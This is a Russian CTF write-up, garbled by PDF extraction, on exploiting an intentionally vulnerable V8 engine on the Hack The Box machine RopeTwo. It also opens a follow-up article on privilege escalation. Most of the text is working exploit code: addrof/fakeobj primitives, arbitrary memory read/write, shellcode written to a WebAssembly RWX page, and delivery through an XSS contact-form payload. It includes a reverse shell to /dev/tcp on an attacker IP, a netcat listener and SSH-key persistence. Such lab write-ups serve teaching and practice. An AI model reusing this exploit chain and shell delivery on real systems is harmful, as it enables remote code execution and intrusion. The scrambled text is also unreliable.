ЗАГЛЯДЫВАЕМ ПОД КАПОТ CHROME

НА ВИРТУАЛКЕ С HACK THE BOX

COVERSTORY  НАЧАЛО СТАТЬИ←

ПИШЕТ ЭКСПЛОИТ
Пер вое, что нам необ ходимо, — добить ся утеч ки адре са мас сива. Для это го
напишем скрипт, осно ван ный на рай тапе Фараза. Смысл в том, что бы изме‐ 
нить ука затель   мас сива   на   мас‐ 
сива  , так как струк тура   у этих объ ектов отли чает ся.

obj_array_map obj_array float_array_map
float_array Map

Очень важ ный момент, на котором осно вана экс плу ата ция, — в то вре мя
как  зап рос  нулево го  индекса    воз вра щает  зна чение  эле мен та
мас сива,  нулевой  индекс    воз вра щает  ука затель  на  объ ект
(который потом пре обра зует ся в зна чение). И если мы под меним кар ту (Map)

 кар той   и обра тим ся к нулево му индексу, мы получим
не зна чение эле мен та мас сива, а ука затель объ екта в виде  ! А бла года‐ 
ря  най ден ной  уяз вимос ти  заменить  кар ту  тру да  не  сос тавля ет,  так  как  она
находит ся за эле мен тами мас сива в струк туре JSArray.

float_array
obj_array

obj_array float_array
float

       var buf = new ArrayBuffer(8);
       var f64_buf = new Float64Array(buf);
       var u64_buf = new Uint32Array(buf);

   function ftoi(val) {
       f64_buf[0] = val;
             return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

   function itof(val) {
           u64_buf[0] = Number(val & 0xffffffffn);
           u64_buf[1] = Number(val >> 32n);
     return f64_buf[0];
}

     var obj = {"A":1};
     var obj_arr = [obj];
           var float_arr = [1.1, 1.2, 1.3, 1.4];
     var obj_arr_map = obj_arr.GetLastElement();
     var float_arr_map = float_arr.GetLastElement();

   function addrof(in_obj) {
       obj_arr[0] = in_obj;
   obj_arr.SetLastElement(float_arr_map);
         let addr = obj_arr[0];
   obj_arr.SetLastElement(obj_arr_map);
     return ftoi(addr);
   }

           var arr = [5.5, 5.5, 5.5, 5.5];
console.log(addrof(arr).toString(16));
console.log(%DebugPrint(arr));

Про буем запус тить наш скрипт и... получа ем  :SEGV_ACCERR

 

 

 

 

 
Received signal 11 SEGV_ACCERR 34b4080406f8

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 ‐‐shell ‐‐allow‐natives‐syn‐
tax /mnt/share/v8/leak.js

==== C stack trace ===============================

 
 
 
 

 
Segmentation fault (core dumped)

[0x5555562d3f74]
[0x7ffff7faaf40]
[0x5555558b40ff]
[0x5555561cfa18]
[end of stack trace]

Ключ   поз воля ет выпол нять   — фун‐ 
кцию, которая выводит отла доч ную информа цию об объ ектах в V8.

‐‐allow‐natives‐syntax %DebugPrint()

Тут мне ста ло инте рес но, что получит ся, если я заменю diff с HTB oob.diff.
Если хочешь пов торить мой экспе римент, соз дай клон ВМ и выпол ни коман ды

 

 

 
 

 

artex@ubuntu:~/v8$ git apply ‐R ‐‐ignore‐space‐change ‐‐ignore‐white‐
space ../v8.diff
artex@ubuntu:~/v8$ git apply ../oob.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja ‐C ./out.gn/x64.release # Release version

Но перед этим необ ходимо внес ти сле дующие прав ки в oob.diff, так как струк‐ 
тура фай лов и их содер жимое в новой вер сии нем ного поменя лись.

diff ­­git a/src/init/bootstrapper.cc b/src/init/bootstrap­
per.cc
index b027d36..ef1002f 100644
‐‐‐ a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc

 ‐1668,6 +1668,8 @@ void Genesis:: @@

diff ­­git a/src/builtins/builtins­definitions.h b/src/
builtins/builtins­definitions.h
index 0447230..f113a81 100644
‐‐‐ a/src/builtins/builtins‐definitions.h
+++ b/src/builtins/builtins‐definitions.h

 namespace internal { @@ ‐319,6 +319,7 @@
  TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)  \ 
  /* ES6 #sec‐array.prototype.push */                  \ 
  CPP(ArrayPush)                                       \ 
+  CPP(ArrayOob)                                        \
  TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \ 
  /* ES6 #sec‐array.prototype.shift */                 \ 
  CPP(ArrayShift) 

Так же  в 
  нуж но  испра вить 

на  :

diff  ‐‐git  a/src/builtins/builtins‐array.cc  b/src/
builtins/builtins‐array.cc length()‐>Number()

length().Number()

+    uint32_t length = static_cast<uint32_t>(array‐>length().
Number());

Как  и  сле дова ло  ожи дать,  поменяв  в  скрип те  наз вания  фун кций  на 
и запус тив его, я получил тот же резуль тат! Вывод один — про изош ли изме‐ 
нения в самом движ ке V8.

oob

Тут надо упо мянуть, что в OOB исполь зовалась вер сия  ,
а  в  нашем  слу чае  —  .  Поэто му  прос то  взять  экс пло ит,
запус тить и получить вож делен ный шелл не получит ся.

V8 version 7.5.0
V8  version  8.5.0

Приш лось  перечи тать  мас су  информа ции,  преж де  чем  приш ло  понима‐ 
ние: раз гадка кро ется в ком прес сии ука зате лей,  которая появи лась в новой
вер сии V8.

Что это — опи сано чуть ниже. Сей час же дос таточ но понять, что в новой
вер сии  эле мен ты  мас сива    64‐бит ные,  а    —  толь‐ 
ко  32‐бит ные.  Поэто му,  что бы  раз мерность  мас сивов  сов падала,  нуж но
добавить еще один эле мент в мас сив  .

float_array obj_array

obj_array
Итак, испра вим   на var obj_arr = [obj]; var obj_arr = [obj, obj];

 

 

 
41b0800212000000 

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 ‐‐allow‐natives‐syntax /mnt/
share/v8/leak.js

0x193108086721 <Array map = 0x193108241909>

Segmentation  fault  боль ше  нет,  но  адре са  не  сов пада ют.  Догады ваешь ся
почему? Добавив еще один эле мент в мас сив, мы изме нили его дли ну, и фун‐ 
кция    записы вает  зна чение  не  туда,  куда  нам  тре бует ся  (а
тре бует ся, как ты пом нишь, заменить ука затель на объ ект Map, который рас‐ 
положен в памяти сра зу пос ле самих эле мен тов мас сива).

SetLastElement

К  счастью,  мы  можем  лег ко  это  испра вить,  добавив  строч ку 
.

obj_arr.
length = 1;

 

 

 
80403850808671d 

 
5.5,5.5,5.5,5.5

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 ‐‐allow‐natives‐syntax /mnt/
share/v8/leak.js

0x0c2b0808671d <JSArray[4]>

Бин го! Если пос мотреть вни матель но, то млад шие 32 бита сов пада ют! А стар‐ 
шие не сов пада ют, как уже был ска зано выше, из‐за ком прес сии ука зате лей.

Не  буду  опи сывать,  что  такое  ком прес сия  ука зате лей,  Фараз  под робно
написал об этом в  .дру гой статье

Для наг ляднос ти и луч шего понима ния я схе матич но изоб разил, как пред‐ 
став лен в памяти мас сив объ ектов и мас сив чисел с пла вающей точ кой (float).

Струк тура мас сивов Obj и Float

Ес ли вкрат це, этот механизм поз воля ет повысить про изво дитель ность движ ка
V8. Стар шие 32 бита кучи (heap) всег да оста вались оди нако выми при каж дом
запус ке  движ ка.  Поэто му  раз работ чики  решили,  что  нет  смыс ла  опе риро‐ 
вать 64‐бит ными ука зате лями, пос коль ку это лиш няя тра та ресур сов, и вве ли
понятие   — стар шие 32 бита адре са, которые всег да оди нако вы
и  хра нят ся  в  регис тре  R13  (его  обоз вали  ).  Поэто му,  что бы
получить пра виль ный 64‐бит ный адрес, нам нуж но было бы зап росить стар‐ 
шие 32 бита в R13. Но это делать необя затель но.

isolate root

root  register

Как же нам вый ти за пре делы 32‐бит ного прос транс тва кучи, спро сишь ты?
Есть спо соб, который зак люча ется в соз дании объ екта ArrayBuffer и переза‐ 
писи его ука зате ля  . Этот ука затель алло циру ет фун кция 

,  которая  работа ет  с  адре сами  вне  кучи.  Поэто му,  исполь зуя
объ ект   для записи в память с переза писан ным  , мы
можем получить при митив про изволь ного чте ния и записи!

backing_store Par‐
titionAlloc

DataView backing_store

Окей,  у  нас  есть  фун кция  ,  и,  если  мы  инверти руем  ее  логику
(поменя ем мес тами мас сив объ ектов и мас сив  ), мы получим фун кцию

,  которая  поможет  нам  читать  из  про изволь ных  учас тков  памяти
и писать в них:

addrof
float

fakeobj

addr  function fakeobj( ) {
 itof addr   float_arr[0] = ( );

   float_arr.SetLastElement(obj_arr_map);
    fake let  = float_arr[0];
   float_arr.SetLastElement(float_arr_map);
    fakereturn  ;
}

 var a = [1.1, 1.2, 1.3, 1.4];
 var float_arr = [1.1, 1.2, 1.3, 1.4];

var float_arr_map = float_arr.GetLastElement();
 var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];

16console.log("0x"+addrof(crafted_arr).toString( ));
var fake = fakeobj(addrof(crafted_arr)‐0x20n);

До бавим код лис тинга к пре дыду щему и пос мотрим, что получи лось.
За пус тим скрипт с помощью отладчи ка.

 

 

 
 

 
0x804038508086911 
V8 version 8.5.0 (candidate) 

 
 

 
 

 
0x18c1080868e8: 0x0000000808040a3d      0x080406e908241909 <‐‐ нулевой 
эле мент с float_arr_map 
0x18c1080868f8: 0x3ff3333333333333      0x3ff4cccccccccccd 
0x18c108086908: 0x3ff6666666666666      0x080406e908241909 
0x18c108086918: 0x00000008080868e9      0x080869110804035d 
0x18c108086928: 0x0804097508040385      0x0808691100000002

artex@ubuntu:~/v8/out.gn/x64.release# gdb d8
pwndbg> r ‐‐shell ‐‐allow‐natives‐syntax /mnt/share/v8/fake.js
‐

d8> %DebugPrint(crafted_arr);
0x18c108086911 <JSArray[4]>
[4.73859563718219e‐270, 1.2, 1.3, 1.4]
‐
pwndbg> x/10gx 0x18c108086911‐0x28‐1  (игнорируем один бит из‐за 
тегирования)

Те гиро вание ука зате лей — это механизм в V8, который нужен для раз личения
типов  double,  SMI  (small  integer)  и  pointer.  Из‐за  вырав нивания  ука зате ли
обыч но  ука зыва ют  на  учас тки  памяти,  крат ные  4  и  8.  А  это  зна чит,  что  пос‐ 
ледние 2–3 бита всег да рав ны нулю. V8 исполь зует это свой ство, «вклю чая»
пос ледний бит для обоз начения ука зате ля. Поэто му для получе ния исходно го
адре са нам нуж но вычесть из тегиро ван ного адре са еди ницу.

Про буем  записать  вто рой  эле мент  (ука затель  на  elements)  и  про читать
его:

   crafted_arr[2] = itof(BigInt(0x18c1080868f0)‐0x10n+1n);
"0x"+ftoi(fake[0]).toString(16);

Но не тут‐то было, опять получа ем Segmentation fault.
Тут я надол го завис с дебаг гером, пока не вспом нил о новом раз мере ука‐ 

зате лей.  Ведь  раз мерность  эле мен тов  мас сива    —  64  бита,  поэто му
при  замене  кар ты  мас сива  на  мес те  пер вого  эле мен та    ока зыва ется
вто рой эле мент мас сива  , в котором раз мерность эле мен тов — 32 бита.
Сле дова тель но,  записав  адрес  в  пер вый  индекс  мас сива  float,  мы  получим
ссыл ку на elements мас сива  .

float
float

obj

obj
Дос таточ но  поменять    на  ,  и  все  нач нет

работать как положе но. А что бы про читать жела емое зна чение (нулево го эле‐ 
мен та  ),  нуж но  соот ветс твен но  поменять  и  сме щение  elements  с 
на   (так как ука затель теперь 32‐бит ный). Про буем.

crafted_arr[2] crafted_arr[1]

fake 0x10
0x08

 

 

 
1.3447153912017e‐310 
 

 
0x18c1080868e8: 0x0000000808040a3d      0x080406e908241909 
0x18c1080868f8: 0x000018c1080868e9      0x3ff4cccccccccccd  <‐‐ записа ли 
адрес для чте ния 
0x18c108086908: 0x3ff6666666666666      0x080406e908241909 
0x18c108086918: 0x00000008080868e9      0x080869110804035d 
0x18c108086928: 0x0804097508040385      0x0808691100000002 

 
    "0x80406e908241909" <‐‐ и успешно про чита ли зна чение, на которое он 
ука зыва ет

d8> crafted_arr[1] = itof(BigInt(0x18c1080868f0)‐0x8n+1n);

‐
pwndbg> x/10gx 0x18c108086911‐0x28‐1

d8> "0x"+ftoi(fake[0]).toString(16);

Объ ясню под робнее,  как это работа ет. Соз дадим мас сив float и пос мотрим
на  отла доч ную  информа цию.  Запус кать  необ ходимо  в  дебаг‐релизе,  что бы
уви деть под робный вывод   об адре сах.%DebugPrint()

 

 

 
Reading symbols from d8... 

 
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 ‐‐shell ‐‐allow‐na‐
tives‐syntax 

 
Using host libthread_db library "/lib/x86_64‐linux‐
gnu/libthread_db.so.1". 
var a = [1.1, 1.2, 1.3, 1.4]; 

 
V8 version 8.5.0 (candidate) 

 
 

 
 

 

 
 

 
 

 
 

           0: 1.1 
           1: 1.2 
           2: 1.3 
           3: 1.4 
 } 
...

pwndbg> file d8

pwndbg> r ‐‐shell ‐‐allow‐natives‐syntax

[Thread debugging using libthread_db enabled]

[New Thread 0x7ffff3076700 (LWP 2342)]

d8> undefined
d8> %DebugPrint(a);
DebugPrint: 0x274a080c5e51: [JSArray]
‐ map: 0x274a08281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
‐ prototype: 0x274a0824923d <JSArray[0]>
‐ elements: 0x274a080c5e29 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELE‐
MENTS]
‐ length: 4
‐ properties: 0x274a080406e9 <FixedArray[0]> {
#length: 0x274a081c0165 <AccessorInfo> (const accessor descriptor)
}
‐ elements: 0x274a080c5e29 <FixedDoubleArray[4]> {

Ви дим, что сме щение elements от начала струк туры JSArray рав но 0x28:

   0x274a080c5e51‐0x274a080c5e29 == 0x28

Пос мотрим на эле мен ты мас сива, которые находят ся в памяти перед струк‐ 
турой JSArray:

 

 

 
0x274a080c5e28: 0x0000000808040a3d      0x3ff199999999999a 
0x274a080c5e38: 0x3ff3333333333333      0x3ff4cccccccccccd 
0x274a080c5e48: 0x3ff6666666666666      0x080406e908281909 
0x274a080c5e58: 0x00000008080c5e29      0x82e4079a08040551 
0x274a080c5e68: 0x7566280a00000adc      0x29286e6f6974636e

pwndbg> x/10gx 0x274a080c5e51‐1‐0x28 (игнорируем один бит из‐за 
тегирования)

Ну левой эле мент мас сива рас положен по адре су

             index 0 == 0x274a080c5e30 == elements + 0x08

Пред положим, мы помес тим    по  адре су  . Если
далее мы заменим в   кар ту   на   (при
этом мы  затира ем  поле  ,  но  это  нек ритич но),  то  пер вый  индекс
мас сива   будет содер жать ука затель на эле мен ты  ,
так  как  раз мерность  ука зате лей  —  32  бита,  а  эле мен тов  мас сива  Float  —
64 бита. Поэто му,  обра тив шись  к  ,  мы  про чита ем  зна чение
по адре су, который запишем в пер вый индекс  . 
Схе матич но это мож но изоб разить так.

fake_object 0x274a080c5e30
fake_object float_arr_map obj_arr_map

properties
crafted_arr fake_object

fake_object[0]
crafted_arr

Струк тура мас сива для про изволь ного чте ния и записи

Что ж, теперь с помощью вспо мога тель ных фун кций, которые я не буду под‐ 
робно  опи сывать  (в  кон це  раз дела  будет  лис тинг  с  ком мента риями),  мы
можем писать и читать про изволь ные адре са!

Ос талось най ти область памяти,  которая бы поз воляла еще и  выпол нить
в  ней  наш  код  (rwx).  И  такая  область  есть,  с  ней  работа ет  модуль
WebAssembly.

WebAssembly  (сок ращен но  wasm)  —  безопас ный  и  эффектив ный  низ‐ 
коуров невый  бинар ный  фор мат  для  веба.  Сте ковая  вир туаль ная  машина,
исполня ющая  инс трук ции  бинар ного  фор мата  wasm,  может  быть  запуще на
как в сре де бра узе ра, так и в сер верной сре де. Код на wasm — перено симое
абс трак тное  син такси чес кое  дерево,  что  обес печива ет  как  более  быс трый
ана лиз, так и более эффектив ное выпол нение в срав нении с JavaScript.

Соб рав  экс пло ит  с  уче том  всех  опи сан ных  изме нений,  я  вновь  получил
Segmentation fault.

Об ласть rwx в текущих реали заци ях движ ка всег да находит ся на оди нако‐ 
вом  сме щении  от  объ екта  .  В  вер сии  7.5.0  оно  рав‐ 
нялось 0x87. Будем выяс нять, каково оно в 8.5.0. Для это го соз дадим прос той
скрипт wasm.js с объ ектом wasmInstance и запус тим его под отладчи ком:

WasmInstanceObject

       var code_bytes = new Uint8Array([
   0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,
0x7F,0x7F,0x01,
   0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,
0x77,0x6F,0x00,
   0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,
0x0E,0x04,0x6E,
   0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);

       const wasmModule = new WebAssembly.Module(code_bytes.buffer);
   const wasmInstance =

        new WebAssembly.Instance(wasmModule, {});
         const { addTwo } = wasmInstance.exports;

 console.log(addTwo(5, 6));
%DebugPrint(wasmInstance);

 

 

 
 

 
Using host libthread_db library "/lib/x86_64‐linux‐
gnu/libthread_db.so.1". 

 
11 
0x2f11082503dc 

 

artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
‐‐skip‐‐
pwndbg> r ‐‐shell ‐‐allow‐natives‐syntax /mnt/share/v8/wasm.js

[New Thread 0x7ffff3076700 (LWP 5461)]

DebugPrint: 0x2f1108250375: [WasmInstanceObject] in OldSpace
‐‐skip‐‐

По лучи ли  адрес  :  .  Теперь  най дем
в  спис ке  про цес сов  наш  скрипт  и  его  PID  ( )
и поищем в его кар те памяти области rwx:

WasmInstanceObject 0x2f1108250375
ps  aux  |  grep  wasm.js

 

 

 
b444a6ea000‐b444a6eb000 rwxp 00000000 00:00 0
artex@ubuntu:/home/artex# cat /proc/5457/maps | grep ‐i rwx

Ура,  есть  такая!  Мы  получи ли  адрес  rwx:  .  Оста лось  най ти
адрес  ука зате ля  на  эту  область,  для  это го  в  pwndbg  вос поль зуем ся  сле‐ 
дующей коман дой:

0xb444a6ea000

 

 

 
                0x2f11082503dc 0xb444a6ea000
pwndbg> search ‐t pointer 0xb444a6ea000

Ука затель рас положен по адре су  . Оста лось рас счи тать сме‐ 
щение:

0x2f11082503dc

 

 

 
0x68
python ‐c 'print(hex(0x2f11082503dc ‐ (0x2f1108250375 ‐ 0x1)))'

За меним  его  в  скрип те.  Но  есть  еще  один  ука затель,  сме щение  которо го
поменя лось, это  .backing_store

Что бы его най ти, опять запус тим дебаг‐релиз V8 под отладчи ком:

 

 

 
 

 
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 ‐‐shell ‐‐allow‐na‐
tives‐syntax 
 

 
undefined 

 
 

 
 
 

 
 

artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
‐
pwndbg> r ‐‐shell ‐‐allow‐natives‐syntax

‐
d8> var buf = new ArrayBuffer(0x100);

d8> %DebugPrint(buf);
DebugPrint: 0x329e080c5e2d: [JSArrayBuffer]
‐ map: 0x329e08281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
‐ prototype: 0x329e082478c1 <Object map = 0x329e082811b1>
‐ elements: 0x329e080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
‐ embedder fields: 2
‐ backing_store: 0x5555556f2e80
‐‐skip‐‐

Ви дим зна чение  .  Вычис лим  сме щение  (я
выделил его крас ным), не забыва ем о little endian.

backing_store: 0x5555556f2e80

Сме щение backing_store

Итак, сме щение рав но 0x14.
По хоже,  на  этом  все,  мож но  про бовать!  Готовим  наш  тес товый  пей лоад

с  помощью  ути литы  .  Все,  что  он  дела ет,  —  выводит  стро ку
«PWNED!».

msfvenom

 

 

 

 
 

No encoder or badchars specified, outputting raw payload 
Payload size: 64 bytes 
Final size of dword file: 194 bytes 
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 
0xe852e689, 0x00000016, 
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 
0x0fe68948, 0x00000005

msfvenom ‐p linux/x64/exec ‐f dword CMD='bash ‐c "echo PWNED!"'
[‐] No platform was selected, choosing Msf::Module::Platform::Linux from 
the payload
[‐] No arch selected, selecting arch: x64 from the payload

А вот и финаль ный код экс пло ита с ком мента риями:

// Вспомогательные функции конвертации между float и Integer
         var buf = new ArrayBuffer(8); // 8 byte array buffer
       var f64_buf = new Float64Array(buf);
       var u64_buf = new Uint32Array(buf);

   function ftoi(val) {
   f64_buf[0]=val;
             return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

     function itof(val) { // typeof(val) = BigInt
           u64_buf[0] = Number(val & 0xffffffffn);
           u64_buf[1] = Number(val >> 32n);
     return f64_buf[0];
}

// Создаем addrof‐примитив
     var obj = {"A":1};
         var obj_arr = [obj, obj]; // Массив из двух элементов (чтобы 

получить размерность 64 бита)
     obj_arr.length = 1; // Указываем принудительно размер массива = 1

       var float_arr = [1.1, 1.2];
// Из‐за переполнения obj_arr[length] и float_arr_map[length] 
считываем указатель на Map

     var obj_arr_map = obj_arr.GetLastElement();
     var float_arr_map = float_arr.GetLastElement();

   function addrof(in_obj) {
       // Помещаем объект, адрес которого нам нужен, в index 0
       obj_arr[0] = in_obj;

       // Заменяем карту массива obj картой массива float
   obj_arr.SetLastElement(float_arr_map);

   // Получаем адрес, обращаясь к index 0
         let addr = obj_arr[0];

   // Заменяем карту обратно на obj
   obj_arr.SetLastElement(obj_arr_map);

   // Возвращаем адрес в формате BigInt
     return ftoi(addr);
}

   function fakeobj(addr) {
   // Конвертируем адрес во float и помещаем его в нулевой элемент 
массива float
       float_arr[0] = itof(addr);

   // Меняем карту float на карту массива obj
   float_arr.SetLastElement(obj_arr_map);

   // Получаем объект "fake", на который указывает адрес
         let fake = float_arr[0];

   // Меняем карту обратно на float
   float_arr.SetLastElement(float_arr_map);

   // Возвращаем полученный объект
     return fake;
}

// Этот объект мы будем использовать, чтобы читать из произвольных 
адресов памяти и писать в них

           var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
   console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).

toString(16));

   function arb_read(addr) {
   // Мы должны использовать тегированные указатели для чтения, 
поэтому тегируем адрес
             if (addr % 2n == 0)

          addr += 1n;

   // Помещаем fakeobj в адресное пространство, в котором 
расположены элементы arb_rw_arr
               let fake = fakeobj(addrof(arb_rw_arr) ‐ 0x20n); // 4 элемента × 
8 байт = 0x20

   // Изменяем указатель elements arb_rw_arr на read_addr‐0x08
       // По адресу первого элемента массива float находится 2‐й 
индекс obj_map,
       // указывающий на элементы объекта fake
           arb_rw_arr[1] = itof(BigInt(addr) ‐ 0x8n);

   // Обращаясь к нулевому индексу массива, читаем значение, 
расположенное по адресу addr,
       // и возвращаем его в формате float
     return ftoi(fake[0]);
}

     function arb_write(addr, val) {
       // Помещаем fakeobj в адресное пространство, в котором 
расположены элементы arb_rw_arr
               let fake = fakeobj(addrof(arb_rw_arr) ‐ 0x20n); // 4 элемента × 
8 байт = 0x20

   // Изменяем указатель на элементы arb_rw_arr на write_addr‐0x08
       // По адресу первого элемента массива float находится 2‐й 
индекс obj_map,
       // указывающий на элементы объекта fake
             arb_rw_arr[1] = itof(BigInt(addr) ‐ 0x8n); //

   // Записываем значение в нулевой элемент в формате float,
       fake[0] = itof(BigInt(val));
}

// Произвольный код, скомпилированный в WebAssembly (нужен для 
создания wasm_instance)

       var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,
3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,
128,0,1,0,1,6,129,
128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4
,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

       var wasm_mod = new WebAssembly.Module(wasm_code);
       var wasm_instance = new WebAssembly.Instance(wasm_mod);
     var exploit = wasm_instance.exports.main;

// Получаем адрес wasm_instance
     var wasm_instance_addr = addrof(wasm_instance);

   console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));
           var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // 

Постоянное смещение страницы rwx = 0x68

     function copy_shellcode(addr, shellcode) {
           let buf = new ArrayBuffer(0x100);
           let dataview = new DataView(buf);
           let buf_addr = addrof(buf); // Получаем адрес ArrayBuffer
               let backing_store_addr = buf_addr + 0x14n; // Постоянное 
смещение backing_store=0x14
       arb_write(backing_store_addr, addr); // Изменяем адрес 
backing_store_addr на addr
       // Пишем шелл по адресу backing_store_addr
                     for (let i = 0; i < shellcode.length; i++) {
       dataview.setUint32(4*i, shellcode[i], true);
   }
}

   console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16
));

// msfvenom ‐p linux/x64/exec ‐f dword CMD='твой_шелл_код'
             var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69,

0x48530068,
         
 

0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162,
0x20632d20, 0x68636522,

       0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);
// Пишем реверс‐шелл по адресу rwx_page

 copy_shellcode(rwx_page_addr, shellcode);
// Вызываем wasm_instance c нашим реверс‐шеллом
exploit();

За пус каем наш тес товый экс пло ит:

 

 

 
 

 
 

PWNED!

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 /mnt/share/v8/test.js
[+] Controlled float array: 0x8040385080882ed
[+] Wasm addr: 0x8040385082110b1
[+] RWX Wasm page addr: 0x29db47484000

Ра бота ет!
Ос тался  пос ледний шаг —  разоб рать ся,  как  его  запус тить  на  уда лен ной

машине.
Единс твен ный  инте рак тивный  эле мент  на  сай те  —  это  фор ма  обратной

свя зи  по  адре су  http://rope2.htb:8000/contact.  Так  как  V8 —  это  дви жок  JS,
оче вид но,  что  надо  как‐то  скор мить  ему  наш  JavaScript.  Запус каем  сер вер
HTTP:   — и вво дим во все поля фор мыpython ‐m http.server 8070

 <script src="http://10.10.xx.xx:8070/v8.js"></script>

И получа ем зап рос от сер вера! Пос ле недол гих экспе римен тов я выяс нил, что
запуск скрип та триг герит поле Message.

Про веря ем XSS

Те перь  дело  за  малым.  Генери руем  боевой  пей лоад  с  реверс‐шел лом
и встав ляем его в наш скрипт.

         msfvenom ‐p linux/x64/exec ‐f dword CMD='bash ‐c "bash ‐i >& /dev/
tcp/10.10.xx.xx/7090 0>&1"'

Кла дем скрипт в пап ку, из которой запущен наш веб‐сер вер, запус каем netcat
( ) и отправ ляем фор му с зап росом скрип та в поле Message.nc ‐lnvp 7090

На конец‐то дол гождан ный шелл!

По луча ем шелл

Что бы авто мати зиро вать про цесс, я написал пару строк на bash — получив‐ 
ший ся файл нуж но положить в ту же пап ку, где лежит скрипт.

 http.server 8070 & python ‐m
curl   

   
http://10.10.10.196:8000/contact & 

‐d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.
10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' ‐L

nc   7090 ‐lnvp

Прав да, сес сия живет не боль ше минуты — видимо, на сер вере сра баты вает
тайм‐аут. Что бы сде лать себе ста биль ный шелл, нуж но добавить поль зовате‐ 
лю chromeuser свой ключ SSH:

 /home/chromeuser/.ssh mkdir
  /home/chromeuser/.ssh/authorized_keys echo 'твой_ssh_ключ'>>

На деюсь, было инте рес но и ты узнал для себя мно го нового!

WWW

 (Faraz Faith)•Exploiting v8: *CTF 2019 oob‐v8

(Phrack)
•Exploiting  Logic  Bugs  in  JavaScript  JIT  Engines

•Pointer Compression in V8

https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html
https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
http://www.phrack.org/papers/jit_exploitation.html
https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html
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В  этой  статье  я  рас ска жу  об  алго рит мах
управле ния памятью в  Linux,  тех никах heap
exploitation  и  методах  экс плу ата ции  уяз‐ 
вимос ти  use  after  free  со  все ми  вклю чен‐ 
ными механиз мами защиты. А поможет мне
в этом RopeTwo — одна из самых слож ных
машин с Hack The Box.

В статье « » я опи сывал спо соб экс плу ата ции намерен ной уяз‐ 
вимос ти в движ ке V8. Она поз волила получить шелл, но, что бы прод винуть ся
даль ше и получить флаг юзе ра,  тре бует ся решить новую слож ную задачу —
про экс плу ати ровать уяз вимос ти работы с памятью.

Раз бира ем V8

РАЗВЕДКА
Пер вым делом под клю чаем ся к тач ке по SSH и запус каем скрипт поис ка уяз‐ 
вимос тей  для  эска лации  при виле гий.  Лич но  я  пред почитаю  исполь зовать
LinPEAS.

 

 

 

 

artex@kali:/home/artex/HTB/RopeTwo# ssh ‐i key chromeuser@10.10.10.196 
artex@kali:/home/artex/HTB/RopeTwo# scp ‐i ssh/key linpeas.sh 
chromeuser@10.10.10.196:/tmp

chromeuser@rope2:/tmp$ chmod +x linpeas.sh 
chromeuser@rope2:/tmp$ ./linpeas.sh > linpeas.txt

artex@kali:/home/artex/HTB/RopeTwo# scp ‐i ssh/key 
chromeuser@10.10.10.196:/tmp/linpeas.txt linpeas.txt

Смот рим вни матель но отчет, ана лизи руя каж дую строч ку. В раз деле «Interest‐
ing Files — SUID» видим инте рес ный файл — rshell.

Фай лы с вклю чен ным битом SUID

Пос мотрим вни матель нее, что это.

За пус каем rshell

По хоже  на  restricted  shell  с  вклю чен ным битом SUID,  это  явно  наш  паци ент!
Ска чива ем  и  нат равли ваем  на  него  «Гид ру».  Не  буду  при водить  здесь  весь
лис тинг  дизас сем бли рован ного  кода,  я  вмес то  это го  сде лал 

.
уп рощен ную

диаг рамму с основной логикой фун кций rshell

shell_set_enviroment 

  setreuid(1000,1000);  //uid 1000 = r4j 
  setvbuf(stdin,(char *)0x0,2,0); 
  setvbuf(stdout,(char *)0x0,2,0); 
  setvbuf(stderr,(char *)0x0,2,0); 
  i = 0; 
  while (i < 2) { 
    memset((void *)((long)local_14 * 0xd0 + 0x555555558068),0,200); 
    (&FILE1_555555558060)[(long)local_14 * 0xd0] = 0; 
    i = i + 1; 
  }

shell_menu_func 

 if (STR_User_Input == &ls) {

    shell_ls_function(); 
  } 
  else { 
